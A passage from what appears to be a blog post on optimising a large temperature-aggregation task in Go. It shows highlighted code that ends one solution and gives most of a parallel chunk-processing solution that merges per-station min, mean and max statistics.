&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationItems&lt;/span> = append(&lt;span style="color:#a6e22e">stationItems&lt;/span>, &lt;span style="color:#a6e22e">item&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Slice&lt;/span>(&lt;span style="color:#a6e22e">stationItems&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>) &lt;span style="color:#66d9ef">bool&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> string(&lt;span style="color:#a6e22e">stationItems&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span>) &amp;lt; string(&lt;span style="color:#a6e22e">stationItems&lt;/span>[&lt;span style="color:#a6e22e">j&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationItems&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">stat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">key&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-8-process-chunks-in-parallel">Solution 8: process chunks in parallel&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r8: add some parallelism (but back to non-optimized r1 version)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~213ms for 10M rows (4.71x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bufio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;strconv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;strings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">r8Stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">float64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r8&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">parts&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">splitFile&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>, &lt;span style="color:#a6e22e">maxGoroutines&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#a6e22e">r8Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">parts&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#a6e22e">r8ProcessPart&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>.&lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>.&lt;span style="color:#a6e22e">size&lt;/span>, &lt;span style="color:#a6e22e">resultsCh&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#a6e22e">r8Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; len(&lt;span style="color:#a6e22e">parts&lt;/span>); &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span>&lt;span style="color:#a6e22e">resultsCh&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>, &lt;span style="color:#a6e22e">ok&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">ok&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#a6e22e">r8Stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#a6e22e">ts&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">totals&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r8ProcessPart&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">fileOffset&lt;/span>, &lt;span style="color:#a6e22e">fileSize&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>, &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#a6e22e">r8Stats&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Seek&lt;/span>(&lt;span style="color:#a6e22e">fileOffset&lt;/span>, &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">SeekStart&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">LimitedReader&lt;/span>{&lt;span style="color:#a6e22e">R&lt;/span>: &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">N&lt;/span>: &lt;span style="color:#a6e22e">fileSize&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#a6e22e">r8Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">scanner&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewScanner&lt;/span>(&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Scan&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">line&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Text&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">tempStr&lt;/span>, &lt;span style="color:#a6e22e">hasSemi&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">Cut&lt;/span>(&lt;span style="color:#a6e22e">line&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">hasSemi&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strconv&lt;/span>.&lt;span style="color:#a6e22e">ParseFloat&lt;/span>(&lt;span style="color:#a6e22e">tempStr&lt;/span>, &lt;span style="color:#ae81ff">64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>, &lt;span style="color:#a6e22e">ok&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">ok&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
